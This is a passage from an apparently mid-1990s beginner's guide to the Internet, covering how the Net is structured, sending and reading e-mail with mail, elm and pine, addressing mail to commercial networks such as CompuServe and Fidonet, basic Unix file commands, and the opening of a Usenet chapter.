to 14,400 bits +per second). Connected to the backbone computers are smaller networks +serving particular geographic regions, which generally move data at +speeds around 1.5 million bits per second. Feeding off these in turn are +even smaller networks or individual computers. + +Unlike with commercial networks such as CompuServe or Prodigy, there is +no one central computer or computers running the Internet -- its +resources are to be found among thousands of individual computers. This +is both its greatest strength and its greatest weakness. The approach +means it is virtually impossible for the entire Net to crash at once -- +even if one computer shuts down, the rest of the network stays up. The +design also reduces the costs for an individual or organization to get +onto the network. However, thousands of connected computers can also +make it difficult to navigate the Net and find what you want -- +especially as different computers may have different commands for +plumbing their resources. It is only recently that Net users have begun +to develop the sorts of navigational tools and "maps" that will let +neophytes get around without getting lost. + +Nobody really knows how many computers and networks actually make up this +Net. Some estimates say there are now as many as 12,000 networks +connecting nearly 4 million computers and more than 20 million +people around the world. Whatever the actual numbers, however, it is +clear they are only increasing. + +The Net is more than just a technological marvel. It is human +communication at its most fundamental level. The pace may be a little +quicker when the messages race around the world in a few seconds, but +it's not much different from a large and interesting party. You'll see +things in cyberspace that will make you laugh; you'll see things that +will anger you. You'll read silly little snippets and new ideas that +WILL make you think. You'll make new friends and meet people you wish +would just go away. And you'll do it all in a community that transcends +state lines and national borders. + +major network providers continue to work on ways to make it +easier for users of one network to communicate with those of another. +Work is underway on a system for providing a universal "white pages" +in which you could look up somebody's electronic-mail address, for +example. This connectivity trend will likely speed up in coming years +as users begin to demand seamless network access, much as telephone +users can now dial almost anywhere in the world without worrying about +how many phone companies actually have to connect their calls. + +Today, the links grow ever closer between the Internet and such +commercial networks as CompuServe and Prodigy, whose users can now +exchange electronic mail with their Internet friends. All of the major +commercial networks, such as CompuServe and America Online are gradually +bringing internet access to their users (one network, Delphi, already +offers complete access). + +And as it becomes easier to use, more and more people will join this +worldwide community we call the Net. + +Being connected to the Net takes more than just reading conferences and +logging messages to your computer; it takes asking and answering +questions, exchanging opinions -- getting involved. + +If you chose to go forward, to use and contribute, you will become a +citizen of Cyberspace. If you're reading these words for the first time, +this may seem like an amusing but unlikely notion -- that one could +"inhabit" a place without physical space. But put a mark beside these +words. Join the Net and actively participate for a year. Then re-read +this passage. It will no longer seem so strange to be a "citizen of +Cyberspace." It will seem like the most natural thing in the world. + +And that leads to another fundamental thing to remember: + + You can't break the Net! + +As you travel the Net, your computer may freeze, your screen may erupt +into a mass of gibberish. You may think you've just disabled a million- +dollar computer somewhere -- or even your own personal computer. Sooner +or later, this feeling happens to everyone -- and likely more than once. +But the Net and your computer are hardier than you think, so relax. You +can no more break the Net than you can the phone system. If something +goes wrong, try again. If nothing at all happens, you can always +disconnect. If worse comes to worse, you can turn off your computer. +Then take a deep breath. And dial right back in. Leave a note for the +person who runs the computer to which you've connected to ask for advice. +Try it again. Persistence pays. + +Stay and contribute. The Net will be richer for it -- and so will you. + + +1.9 WHEN THINGS GO WRONG + +* Your computer connects with a public-access site and get gibberish +on your screen. + +If you are using parameters of 8-1-N, try 7-1-E (or vice-versa). +If that doesn't work, try another modem speed. + +* You have your computer dial a public-access site, but nothing +happens. + +Check the phone number you typed in. If correct, turn on your modem's +speaker (on Hayes-compatible modems, you can usually do this by typing +ATM1 in your communications software's "terminal mode"). If the phone +just rings and rings, the public-access site could be down for +maintenance or due to a crash or some other problem. If you get a +"connect" message, but nothing else, try hitting enter or escape a couple +of times. + +* You try to log in, but after you type your password, nothing happens, +or you get a "timed out" message followed by a disconnect. + +Re-dial the number and try it again. + +* Always remember, if you have a problem that just doesn't go away, ask! +Ask your system administrator, ask a friend, but ask. Somebody will know +what to do. + + +1.10 FYI + + +The Net grows so fast that even the best guide to its resources would be +somewhat outdated the day it was printed. At the end of each chapter, +however, you'll find FYI pointers to places on the Net where you can go +for more information or to keep updated on new resources and services. + +One of those resources is Everybdy's Internet Update. Every month, this +free electronic newsletter will update you on new Net services and +resources. Look for it in Usenet's alt.internet.services and +comp.org.eff.talk conferences (see chapter 3) and on the Electronic +Frontier Foundation's archive site (see chapter 7). + +InterNIC, the Internet Network Information Center, maintains lists of +systems that provide public access to Internet services. They're +available on the network itself, which obviously does you little good if +you currently have no access, but which can prove invaluable should you +move or want to find a new system. To access the lists, use gopher (see +Chapter 8) to connect to ds.internic.net. From the main menu, select +"InterNIC Information Services" and then "Getting Connected to the +Internet." + +Benoit Carl Lips maintains a list of Internet access providers in +Europe. It's available via the World-Wide Web at +http://www.earth.org/~lips/ (see Chapter 9 to decipher this) or via FTP +at sumex-aim.stanford.edu in the /info-mac/comm/information directory +(see Chapter 7 for details on this). + +The Society for Electronic Access in New York maintains a +comprehensive list of Internet providers in the New York/Tri-State area. +You can get a copy by using Gopher to connect to gopher.panix.com. At the +main menu, select SEA. + +Zik Saleeba maintains a list of Australian sites. You can get the most +current version of the list (which also includes information on sites +that provide e-mail and Usenet access) via ftp/ncftp and World-Wide Web. +For the former, connect to archie.au (again, look in Chapter 6 to +decipher this). Look in the usenet/FAQs/alt.internet.access.wanted +directory for Network_Access_in_Australia_FAQ file. For the former, +point your Web client at http://www.cs.monash.edu.au/~zik/netfaq.html + +Steven Levy's book, "Hackers: Heroes of the Computer Revolution," +(Anchor Press/Doubleday, 1984). describes the early culture and ethos +that ultimately resulted in the Internet and Usenet. + +You'll find numerous documents about the Internet, its history and its +resources in the pub/Net_info directory on the Electronic Frontier +Foundation's ftp server (see chapter 7 to decipher this). + + + + + + +Chapter 2: E-MAIL + + + +2.1 THE BASICS + + +Electronic mail, or e-mail, is your personal connection to the world of +the Net. + +All of the millions of people around the world who use the Net have their +own e-mail addresses. A growing number of "gateways" tie more and more +people to the Net every day. + +The basic concepts behind e-mail parallel those of regular mail. You +send mail to people at their particular addresses. In turn, they write +to you at your e-mail address. You can subscribe to the electronic +equivalent of magazines and newspapers. Sooner or later, you'll probably +even get electronic junk mail. + +E-mail has two distinct advantages over regular mail. The most obvious +is speed. Instead of several days, your message can reach the other side +of the world in hours, minutes or even seconds (depending on where you +drop off your mail and the state of the connections between there and +your recipient). The other advantage is that once you master the basics, +you'll be able to use e-mail to access databases and file libraries. +You'll see how to do this later, in chapter 10, along with learning how +to transfer program and data files through e-mail. + +E-mail also has advantages over the telephone. You send your message +when it's convenient for you. Your recipients respond at their +convenience. No more telephone tag. And while a phone call across the +country or around the world can quickly result in huge phone bills, e- +mail lets you exchange vast amounts of mail for only a few pennies -- +even if the other person is on the other side of the earth. + +E-mail is your connection to help -- your Net lifeline. The Net can +sometimes seem a frustrating place! No matter how hard you try, no +matter where you look, you just might not be able to find the answer to +whatever is causing you problems. But when you know how to use e-mail, +help is often just a few keystrokes away: you can ask your system +administrator or a friend for help in an e-mail message. + +The quickest way to start learning e-mail is to send yourself a message. +Most public-access sites actually have several different types of mail +systems, all of which let you both send and receive mail. We'll start +with the simplest one, known, appropriately enough, as "mail," and then +look at a couple of other interfaces. At your host system's command +prompt, type: + + mail username + +where username is the name you gave yourself when you first logged on. +Hit enter. The computer might respond with + + subject: + +Type + + test + +or, actually, anything at all (but you'll have to hit enter before you +get to the end of the screen). Hit enter. + +The cursor will drop down a line. You can now begin writing the actual +message. Type a sentence, again, anything at all. And here's where you +hit your first Unix frustration, one that will bug you repeatedly: you +have to hit enter before you get to the very end of the line. Just like +typewriters, many Unix programs have no word-wrapping (although there are +ways to get some Unix text processors, such as emacs, to word-wrap). + +When done with your message, hit return. Now hit control-D (hold down the +control key, then hit your d key). This is a Unix command that tells the +computer you're done writing and that it should close your "envelope" and +mail it off (you could also hit enter once and then, on a blank line, +type a period at the beginning of the line and hit enter again). + +You've just sent your first e-mail message. And because you're sending +mail to yourself, rather than to someone somewhere else on the Net, your +message has already arrived, as we'll see in a moment. + +If you had wanted, you could have even written your message on your own +computer and then uploaded it into this electronic "envelope." There are +a couple of good reasons to do this with long or involved messages. One +is that once you hit enter at the end of a line in "mail" you can't +readily fix any mistakes on that line (unless you use some special +commands to call up a Unix text processor). Also, if you are paying for +access by the hour, uploading a prepared message can save you money. +Remember to save the document in ASCII or text format. Uploading a +document you've created in a word processor that uses special formatting +commands (which these days means many programs) will cause strange +effects. + +When you get that blank line after the subject line, upload the message +using the ASCII protocol. Or you can copy and paste the text, if your +software allows that. When done, hit control-D as above. + +Now you have mail waiting for you. Normally, when you log on, your +public-access site will tell you whether you have new mail waiting. To +open your mailbox and see your waiting mail, type + + mail + +and hit enter. + +When the host system sees "mail" without a name after it, it knows you +want to look in your mailbox rather than send a message. On a plain- +Unix system, your screen will display something like: + + Mail version SMI 4.0 Mon Apr 24 18:34:15 PDT 1989 Type ? for help. + "/usr/spool/mail/adamg": 1 message 1 new 1 unread + + >N 1 adamg Sat Jan 15 20:04 12/290 test + +Ignore the first line; it's just computerese of value only to the +people who run your system. You can type a question mark and hit return +to bring up a list of help files, but unless you're familiar with Unix, +most of what you'll see won't make much sense. + +The second line tells you the directory on the host system where your +mail messages are put, which again, is not something you'll likely need +to know. The second line also tells you how many messages are in your +mailbox, how many have come in since the last time you looked and how +many messages you haven't read yet. + +It's the third line that is of real interest -- it tells you who the +message is from, when it arrived, how many lines and characters it takes +up, and what the subject is. The "N" means it is a new message -- it +arrived after the last time you looked in your mailbox. Hit enter. And +there's your message -- only now it's a lot longer than what you wrote! + + Message 1: + From adamg Jan 15 20:04:55 1994 + Received: by eff.org id AA28949 + (5.65c/IDA-1.4.4/pen-ident for adamg); Sat, 15 Jan 1994 20:04:55 -0400 + (ident-sender: adamg@eff.org) + Date: Sat, 15 Jan 1994 21:34:55 -0400 + From: Adam Gaffin + Message-Id: <199204270134.AA28949@eff.org> + To: adamg + Subject: test + Status: R + + This is only a test! + +Whoa! What is all that stuff? It's your message with a postmark gone mad. +Just as the postal service puts its marks on every piece of mail it +handles, so do Net postal systems. Only it's called a "header" instead +of a postmark. Each system that handles or routes your mail puts its +stamp on it. Since many messages go through a number of systems on their +way to you, you will often get messages with headers that seem to go on +forever. Among other things, a header will tell you exactly when a +message was sent and received (even the difference between your local +time and Greenwich Mean Time -- as at the end of line 4 above). + +If this had been a long message, it would just keep scrolling across and +down your screen -- unless the people who run your public-access site +have set it up to pause every 24 lines. One way to deal with a message +that doesn't stop is to use your telecommunication software's logging or +text-buffer function. Start it before you hit the number of the message +you want to see. Your computer will ask you what you want to call the +file you're about to create. After you name the file and hit enter, type +the number of the message you want to see and hit enter. When the +message finishes scrolling, turn off the text-buffer function. The +message is now saved in your computer. This way, you can read the +message while not connected to the Net (which can save you money if +you're paying by the hour) and write a reply offline. + +But in the meantime, now what? You can respond to the message, delete it +or save it. To respond, type a lowercase r and hit enter. You'll get +something like this: + + To: adamg + Subject: Re: test + +Note that this time, you don't have to enter a user name. The computer +takes it from the message you're replying to and automatically addresses +your message to its sender. The computer also automatically inserts a +subject line, by adding "Re:" to the original subject. From here, it's +just like writing a new message. But say you change your mind and decide +not to reply after all. How do you get out of the message? Hit control-C +once. You'll get this: + + (Interrupt -- one more to kill letter) + +If you hit control-C once more, the message will disappear and you'll get +back to your mail's command line. + +Now, if you type a lowercase d and then hit enter, you'll delete the +original message. Type a lowercase q to exit your mailbox. + +If you type a q without first hitting d, your message is transferred to a +file called mbox. This file is where all read, but un-deleted, messages +go. If you want to leave it in your mailbox for now, type a lowercase x +and hit enter. This gets you out of mail without making any changes. +The mbox file works a lot like your mailbox. To access it, type + + mail -f mbox + +at your host system's command line and hit enter. + +You'll get a menu identical to the one in your mailbox from which you can +read these old messages, delete them or respond to them. It's probably a +good idea to clear out your mailbox and mbox file from time to time, if +only to keep them uncluttered. + +Are there any drawbacks to e-mail? There are a few. One is that people +seem more willing to fly off the handle electronically than in person, or +over the phone. Maybe it's because it's so easy to hit r and reply to a +message without pausing and reflecting a moment. That's why we have +smileys (see section 2.4)! There's no online equivalent yet of a return +receipt: chances are your message got to where it's going, but there's no +absolute way for you to know for sure unless you get a reply from the +other person. + +So now you're ready to send e-mail to other people on the Net. Of +course, you need somebody's address to send them mail. How do you get +it? + +Alas, the simplest answer is not what you'd call the most elegant: you +call them up on the phone or write them a letter on paper and ask them. +Residents of the electronic frontier are only beginning to develop the +equivalent of phone books, and the ones that exist today are far from +complete (still, later on, in Chapter 6, we'll show you how to use some +of these directories). + +Eventually, you'll start corresponding with people, which means you'll +want to know how to address mail to them. It's vital to know how to do +this, because the smallest mistake -- using a comma when you should have +used a period, for instance, can bounce the message back to you, +undelivered. In this sense, Net addresses are like phone numbers: one +wrong digit and you get the wrong person. Fortunately, most net +addresses now adhere to a relatively easy-to-understand system. + +Earlier, you sent yourself a mail message using just your user-name. +This was sort of like making a local phone call -- you didn't have to +dial a 1 or an area code. This also works for mail to anybody else who +has an account on the same system as you. + +Sending mail outside of your system, though, will require the use of the +Net equivalent of area codes, called "domains." A basic Net address will +look something like this: + + tomg@world.std.com + +Tomg is somebody's user ID, and he is at (hence the @ sign) a site (or in +Internetese, a "domain") known as std.com. Large organizations often +have more than one computer linked to the Internet; in this case, the +name of the particular machine is world (you will quickly notice that, +like boat owners, Internet computer owners always name their machines). + +Domains tell you the name of the organization that runs a given e-mail +site and what kind of site it is or, if it's not in the U.S., what +country it's located in. Large organizations may have more than one +computer or gateway tied to the Internet, so you'll often see a two-part +domain name; and sometimes even three- or four-part domain names. + +In general, American addresses end in an organizational suffix, such as +".edu" (which means the site is at a college or university). Other +American suffixes include: + + .com for businesses + .org for non-profit organizations + .gov and .mil for government and military agencies + .net for companies or organizations that run large networks. + +Sites in the rest of the world tend to use a two-letter code that +represents their country. Most make sense, such as .ca for Canadian +sites, but there are a couple of seemingly odd ones (at least to +Americans). Swiss sites end in .ch, while South African ones end in .za. +A few U.S. sites have followed this international convention (such as +nred.reading.ma.us). + +You'll notice that the above addresses are all in lower-case. Unlike +almost everything else having anything at all to do with Unix, most Net +mailing systems don't care about case, so you generally don't have to +worry about capitalizing e-mail addresses. Alas, there are a few +exceptions -- some public-access sites do allow for capital letters in +user names. When in doubt, ask the person you want to write to, or let +her send you a message first (recall how a person's e-mail address is +usually found on the top of her message). The domain name, the part of +the address after the @ sign, never has to be capitalized. + +It's all a fairly simple system that works very well, except, again, it's +vital to get the address exactly right -- just as you have to dial a +phone number exactly right. Send a message to tomg@unm.edu (which is the +University of New Mexico) when you meant to send it to tomg@umn.edu (the +University of Minnesota), and your letter will either bounce back to you +undelivered, or go to the wrong person. + +If your message is bounced back to you as undeliverable, you'll get an +ominous looking-message from MAILER-DAEMON (actually a rather benign Unix +program that exists to handle mail), with an evil-looking header followed +by the text of your message. Sometimes, you can tell what went wrong by +looking at the first few lines of the bounced message. Besides an +incorrect address, it's possible your host system does not have the other +site in the "map" it maintains of other host systems. Or you could be +trying to send mail to another network, such as Bitnet or CompuServe, +that has special addressing requirements. + +Sometimes, figuring all this out can prove highly frustrating. But +remember the prime Net commandment: Ask. Send a message to your system +administrator. Include a copy of the header from the original message. +He or she might be able to help decipher the problem. + +There is one kind of address that may give your host system particular +problems. There are two main ways that Unix systems exchange mail. One +is known as UUCP and started out with a different addressing system than +the rest of the Net. Most UUCP systems have since switched over to the +standard Net addressing system, but a few traditional sites still cling +to their original type, which tends to have lots of exclamation points in +it, like this: + + uunet!somesite!othersite!mybuddy + +The problem for many host sites is that exclamation points (also known as +"bangs") now mean something special in the more common systems or +"shells" used to operate many Unix computers. This means that addressing +mail to such a site (or even responding to a message you received from +one) could confuse the poor computer to no end and your message never +gets sent out. If that happens, try putting backslashes in front of each +exclamation point, so that you get an address that looks like this: + + uunet\!somesite\!othersite\!mybuddy + +Note that this means you may not be able to respond to such a message by +typing a lowercase r -- you may get an error message and you'll have to +create a brand-new message. + +If you want to get a taste of what's possible on the Net, start a message +to this address: + + president@whitehouse.gov + +Compose some well wishes (or grumblings, if you're so inclined). Send +off the message, and within a few seconds to a few hours (depending on +the state of your Net connection), you'll get back a reply that your +message has been received. If you don't feel like starting at the top, +send a message instead to + + vice-president@whitehouse.gov + + +The "mail" program is actually a very powerful one and a Netwide +standard, at least on Unix computers. But it can be hard to figure out - +- you can type a question mark to get a list of commands, but these may +be of limited use unless you're already familiar with Unix. Fortunately, +there are a couple of other mail programs that are easier to use. + + +2.2 ELM -- A BETTER WAY + + +Elm is a combination mailbox and letter-writing system that uses menus to +help you navigate through mail. Most Unix-based host systems now have it +online. To use it, type + + elm + +and hit enter. You'll get a menu of your waiting mail, along with a list +of commands you can execute, that will look something like this: + + + Mailbox is '/usr/spool/mail/adamg' with 38 messages [ELM 2.3 PL11] + + + 1 Sep 1 Christopher Davis (13) here's another message. + 2 Sep 1 Christopher Davis (91) This is a message from Eudora + 3 Aug 31 Rita Marie Rouvali (161) First Internet Hunt !!! (fwd) + 4 Aug 31 Peter Scott/Manage (69) New File University of Londo + 5 Aug 30 Peter Scott/Manage (64) New File X.500 service at A + 6 Aug 30 Peter Scott/Manage (39) New File DATAPAC Informatio + 7 Aug 28 Peter Scott/Manage (67) Proposed Usenet group for HYTELNET n + 8 Aug 28 Peter Scott/Manage (56) New File JANET Public Acces + 9 Aug 26 Helen Trillian Ros (15) Tuesday + 10 Aug 26 Peter Scott/Manage (151) Update Oxford University OU + + + You can use any of the following commands by pressing the first character; +d)elete or u)ndelete mail, m)ail a message, r)eply or f)orward mail, q)uit + To read a message, press . j = move down, k = move up, ? = help + + +Each line shows the date you received the message, who sent it, how many +lines long the message is, and the message's subject. + +If you are using VT100 or similar emulation, you can move up and down the +menu with your up and down arrow keys. Otherwise, type the line number +of the message you want to read or delete and hit enter. + +When you read a message, it pauses every 24 lines, instead of scrolling +until it's done. Hit the space bar to read the next page. You can type +a lowercase r to reply or a lower-case q or i to get back to the menu +(the I stands for "index"). + +At the main menu, hitting a lowercase m followed by enter will let you +start a message. To delete a message, type a lower-case d. You can do +this while reading the message. Or, if you are in the menu, move the +cursor to the message's line and then hit d. + +When you're done with elm, type a lower-case q. The program will ask if +you really want to delete the messages you marked. Then, it will ask you +if you want to move any messages you've read but haven't marked for +deletion to a "received" file. For now, hit your n key. Elm has +a potentially major disadvantage for the beginner. The default text +editor it often generally calls up when you hit your r or m key is often +a program called emacs. Unixoids swear by emacs, but everybody else +almost always finds it impossible. Unfortunately, you can't always get +away from it (or vi, another text editor often found on Unix systems), so +later on we'll talk about some basic commands that will keep you from +going totally nuts. If you're lucky, though, your system administrator +will have changed emacs to Pico, a much easier to use text processor +(more on that in the Pine section below). + +If you want to save a message to your own computer, hit s, either within +the message or with your cursor on the message entry in the elm menu. A +filename will pop up. If you do not like it, type a new name (you won't +have to backspace). Hit enter, and the message will be saved with that +file name in your "home directory" on your host system. After you exit +elm, you can now download it (ask your system administrator for specifics +on how to download -- and upload -- such files). + + +2.3 PINE -- AN EVEN BETTER WAY + +Pine is based on elm but includes a number of improvements that make it +an ideal mail system for beginners. Like elm, pine starts you with a +menu. It also has an "address book" feature that is handy for people +with long or complex e-mail addresses. Hitting A at the main menu puts +you in the address book, where you can type in the person's first name +(or nickname) followed by her address. Then, when you want to send that +person a message, you only have to type in her first name or nickname, +and Pine automatically inserts her actual address. The address book +also lets you set up a mailing list. This feature allows you to send the +same message to a number of people at once. + +What really sets Pine apart is its built-in text editor, which looks and +feels a lot more like word-processing programs available for MS-DOS and +Macintosh users. Not only does it have word wrap (a revolutionary +concept if ever there was one), it also has a spell-checker and a search +command. Best of all, all of the commands you need are listed in a two- +line mini-menu at the bottom of each screen. The commands look like +this: + + ^W Where is + +The little caret is a synonym for the key marked "control" on your +keyboard. To find where a particular word is in your document, hit +control-w (depress your control key, then hit w) you'd hit your control +key and your W key at the same time, which would bring up a prompt asking +you for the word to look for. Some of Pine's commands are a tad peculiar +(control-V for "page down" for example), which comes from being based on +a variant of the emacs text processor (which is utterly peculiar). But +again, all of the commands you need are listed on that two-line mini- +menu, so it shouldn't take you more than a couple of seconds to find the +right one. To use Pine, type + + pine + +at the command line and hit enter. + + +2.4 SMILEYS + + +When you're involved in an online discussion, you can't see the smiles or +shrugs that the other person might make in a live conversation to show +he's only kidding. But online, there's no body language. So what you +might think is funny, somebody else might take as an insult. To try to +keep such misunderstandings from erupting into bitter disputes, we have +smileys. Tilt your head to the left and look at the following sideways. +:-). Or simply :). This is your basic "smiley." Use it to indicate +people should not take that comment you just made as seriously as they +might otherwise. You make a smiley by typing a colon, a hyphen and a +right parenthetical bracket. Some people prefer using the word "grin," +usually in this form: + + + +Sometimes, though, you'll see it as *grin* or even just for short. + +Some other smileys include: + + ;-) Wink; + :-( Frown; + :-O Surprise; + 8-) Wearing glasses; + =|:-)= Abe Lincoln. + +OK, so maybe the last two are a little bogus :-). + + +2.5 SENDING E-MAIL TO OTHER NETWORKS + + +There are a number of computer networks that are not directly part of the +Net, but which are now connected through "gateways" that allow the +passing of e-mail. Here's a list of some of the larger networks, how to +send mail to them and how their users can send mail to you: + +America Online +-------------- + +Remove any spaces from a user's name and append "@aol.com," to get + + user@aol.com + +America Online users who want to send mail to you need only put your +Net address in the "to:" field before composing a message. + + +ATTMail +------- + +Address your message to user@attmail.com. + +From ATTMail, a user would send mail to you in this form: + + internet!domain!user + +So if your address were nancyr@world.std.com, your correspondent would +send a message to you at + + internet!world.std.com!nancyr + + +Bitnet +------ + +Users of Bitnet (and NetNorth in Canada and EARN in Europe) often have +addresses in this form: IZZY@INDVMS. If you're lucky, all you'll have to +do to mail to that address is add "bitnet" at the end, to get +izzy@indvms.bitnet. Sometimes, however, mail to such an address will +bounce back to you, because Bitnet addresses do not always translate well +into an Internet form. If this happens, you can send mail through one of +two Internet/Bitnet gateways. First, change the @ in the address to a %, +so that you get username%site.bitnet. Then add either @vm.marist.edu or +@cunyvm.cuny.edu, so that, with the above example, you would get +izzy%indyvms.bitnet@vm.marist.edu or izzy%indvyvms.bitnet@cunyvm.cuny.edu + +Bitnet users have it a little easier: They can usually send mail directly +to your e-mail address without fooling around with it at all. So send +them your address and they should be OK. + + +CompuServe +---------- + +CompuServe users have numerical addresses in this form: 73727,545. +To send mail to a CompuServe user, change the comma to a period and add +"@compuserve.com"; for example: 73727.545@compuserve.com. + +Note that many CompuServe users must pay extra to receive mail from the +Internet. + +If you know CompuServe users who want to send you mail, tell them to GO +MAIL and create a mail message. In the address area, instead of typing in +a CompuServe number, have them type your address in this form: + + INTERNET:YourID@YourAddress. + +For example, INTERNET:adamg@world.std.com. + + +Delphi +------ + +To send mail to a Delphi user, the form is username@delphi.com. + +Fidonet +------- + +To send mail to people using a Fidonet BBS, you need the name they use to +log onto that system and its "node number.'' Fidonet node numbers or +addresses consist of three numbers, in this form: 1:322/190. The first +number tells which of several broad geographic zones the BBS is in (1 +represents the U.S. and Canada, 2 Europe and Israel, 3 Pacific Asia, 4 +South America). The second number represents the BBS's network, while +the final number is the BBS's "FidoNode'' number in that network. If your +correspondent only gives you two numbers (for example, 322/190), it means +the system is in zone 1. + +Now comes the tricky part. You have to reverse the numbers and add to +them the letters f, n and z (which stand for "FidoNode,''"network,'' and +"zone'). For example, the address above would become + + f190.n322.z1. + +Now add "fidonet.org'' at the end, to get f190.n322.z1.fidonet.org. Then +add "FirstName.LastName@', to get + + FirstName.LastName@f190.n322.z1.fidonet.org + +Note the period between the first and last names. Also, some countries +now have their own Fidonet "backbone" systems, which might affect +addressing. For example, were the above address in Germany, you would +end it with "fido.de" instead of "fidonet.org." + +Whew! + +The reverse process is totally different. First, the person has to have +access to his or her BBS's "net mail" area and know the Fidonet address +of his or her local Fidonet/UUCP gateway (often their system operator +will know it). Your Fidonet correspondent should address a net-mail +message to UUCP (not your name) in the "to:" field. In the node-number +field, they should type in the node number of the Fidonet/UUCP gateway +(if the gateway system is in the same regional network as their system, +they need only type the last number, for example, 390 instead of +322/390). Then, the first line of the message has to be your Internet +address, followed by a blank line. After that, the person can write the +message and send it. + +Because of the way Fidonet moves mail, it could take a day or two for a +message to be delivered in either direction. Also, because many Fidonet +systems are run as hobbies, it is considered good form to ask the gateway +sysop's permission if you intend to pass large amounts of mail back and +forth. Messages of a commercial nature are strictly forbidden (even if +it's something the other person asked for). Also, consider it very likely +that somebody other than the recipient will read your messages. + + +GEnie +----- + +To send mail to a GEnie user, add "@genie.geis.com" to the end of the +GEnie user name, for example: walt@genie.geis.com. + +MCIMail +------- + +To send mail to somebody with an MCIMail account, add "@mcimail.com to +the end of their name or numerical address. For example: + + 555-1212@mcimail.com + +or + + jsmith@mcimail.com + +Note that if there is more than one MCIMail subscriber with that name, +you will get a mail message back from MCI giving you their names and +numerical addresses. You'll then have to figure out which one you want +and re-send the message. + +From MCI, a user would type + + Your Name (EMS) + +at the "To:" prompt. At the EMS prompt, he or she would type + + internet + +followed by your Net address at the "Mbx:" prompt. + +Prodigy +------- + +UserID@prodigy.com. Note that Prodigy users must pay extra for +Internet e-mail. + + +2.6 SEVEN UNIX COMMANDS YOU CAN'T LIVE WITHOUT + + +If you connect to the Net through a Unix system, eventually you'll have +to come to terms with Unix. For better or worse, most Unix systems do +NOT shield you from their inner workings -- if you want to copy a Usenet +posting to a file, for example, you'll have to use some Unix commands if +you ever want to do anything with that file. + +Like MS-DOS, Unix is an operating system - it tells the computer how to +do things. Now while Unix may have a reputation as being even more +complex than MS-DOS, in most cases, a few basic, and simple, commands +should be all you'll ever need. + +If your own computer uses MS-DOS or PC-DOS, the basic concepts will seem +very familiar -- but watch out for the cd command, which works +differently enough from the similarly named DOS command that it will +drive you crazy. Also, unlike MS-DOS, Unix is case sensitive -- if you +type commands or directory names in the wrong case, you'll get an error +message. + +If you're used to working on a Mac, you'll have to remember that Unix +stores files in "directories" rather than "folders." Unix directories +are organized like branches on a tree. At the bottom is the "root" +directory, with sub-directories branching off that (and sub-directories +in turn can have sub-directories). The Mac equivalent of a Unix sub- +directory is a folder within another folder. + +cat ROUGHLY Equivalent to the MS-DOS "type" command. To pause a file + every screen, type + + cat file |more + + where "file" is the name of the file you want to see (and + | is the thing that looks like an overgrown colon). + Hitting control-C will stop the display. Alternately, + you could type + + more file + + to achieve the same result. You can also use cat for + writing or uploading text files to your name or home + directory (similar to the MS-DOS "copy con" command). If + you type + + cat>test + + you start a file called "test." You can either write + something simple (no editing once you've finished a line and + you have to hit return at the end of each line) or upload + something into that file using your communications software's + ASCII protocol). To close the file, hit control-D. + +cd The "change directory" command. To change from your present + directory to another, type + + cd directory + + and hit enter. Unlike MS-DOS, which uses a \ to denote sub- + directories (for example: \stuff\text), Unix uses a / (for + example: /stuff/text). So to change from your present + directory to the stuff/text sub-directory, you would type + + cd stuff/text + + and then hit enter. As in MS-DOS, you do not need the first + backslash if the subdirectory comes off the directory you're + already in. To move back up a directory tree, you would type + + cd .. + + followed by enter. Note the space between the cd and the two + periods -- this is where MS-DOS users will really go nuts. + +cp Copies a file. The syntax is + + cp file1 file2 + + which would copy file1 to file2 (or overwrite file2 with + file1). + +ls This command, when followed by enter, tells you what's in the + directory, similar to the DOS dir command, except in + alphabetical order. + + ls | more + + will stop the listing every 24 lines -- handy if there are a + lot of things in the directory. The basic ls command does not + list "hidden" files, such as the .login file that controls + how your system interacts with Unix. To see these files, type + + ls -a or ls -a | more + + ls -l will tell you the size of each file in bytes and tell + you when each was created or modified. + +mv Similar to the MS-DOS rename AND MOVE commands. + + mv file1 file2 + + will rename file1 as file2, The command can + also be used to move files between directories. + + mv file1 News + + would move file1 to your News directory. + +rm Deletes a file. Type + + rm filename + + and hit enter (but beware: when you hit enter, it's gone for + good). + +WILDCARDS: When searching for, copying or deleting files, you can use +"wildcards" if you are not sure of the file's exact name. + + ls man* + + +would find the following files: + + manual, manual.txt, man-o-man. + +Use a question mark when you're sure about all but one or two characters. +For example, + + ls man? + +would find a file called mane, but not one called manual. + + +2.7 WHEN THINGS GO WRONG + + +* You send a message but get back an ominous looking message from +MAILER-DAEMON containing up to several dozen lines of computerese +followed by your message. + +Somewhere in those lines you can often find a clue to what went +wrong. You might have made a mistake in spelling the e-mail address. +The site to which you're sending mail might have been down for +maintenance or a problem. You may have used the wrong "translation" for +mail to a non-Internet network. + +* You call up your host system's text editor to write a message or reply +to one and can't seem to get out. + +If it's emacs, try control-X, control-C DELETE(in other words, hit your +control key and your X key at the same time, followed by control and C). +If worse comes to worse, you can hang up. + +* In elm, you accidentally hit the D key for a message you want to save. + +Type the number of the message, hit enter and then U, which will "un- +delete" the message. This works only before you exit Elm; once you quit, +the message is gone. + +* You try to upload an ASCII message you've written on your own computer +into a message you're preparing in Elm or Pine and you get a lot of left +brackets, capital Ms, Ks and Ls and some funny-looking characters. + +Believe it or not, your message may actually wind up looking fine; all +that garbage is temporary and reflects the problems some Unix text +processors have with ASCII uploads. But it will take much longer for +your upload to finish. One way to deal with this is to call up the +simple mail program, which will not produce any weird characters when you +upload a text file into a message. Another way (which is better if your +prepared message is a response to somebody's mail), is to create a text +file on your host system with cat, for example, + + cat>file + +and then upload your text into that. Then, in elm or pine, you can +insert the message with a simple command (control-R in pine, for +example); only this time you won't see all that extraneous stuff. + +* You haven't cleared out your Elm mailbox in awhile, and you +accidentally hit "y" when you meant to hit "n" (or vice-versa) when +exiting and now all your messages have disappeared. + +The system has put all the messages in a file called received in your +Mail directory. To get to the messages, call up Elm again, and hit your +c key. You'll be asked which folder to change to. Type + + =received + +and hit enter. You'll be prompted as if you're about to exit Elm; when +done answering the questions, you'll get a menu of messages in your +receive folder. You can reply to them, delete them, etc., as you would +normally. + + + + + + +Chapter 3: USENET I + + + +3.1 THE GLOBAL WATERING HOLE + + +Imagine a conversation carried out over a period of hours and days, as if +people were leaving messages and responses on a bulletin board. Or +imagine the electronic equivalent of a radio talk show where everybody +can put their two cents in and no one is ever on hold. + +Unlike e-mail, which is usually "one-to-one," Usenet is "many-to-many." +Usenet is the international meeting place, where people gather to meet +their friends, discuss the day's events, keep up with computer trends or +talk about whatever's on their mind. Jumping into a Usenet discussion +can be a liberating experience. Nobody knows what you look or sound +like, how old you are, what your background is. You're judged 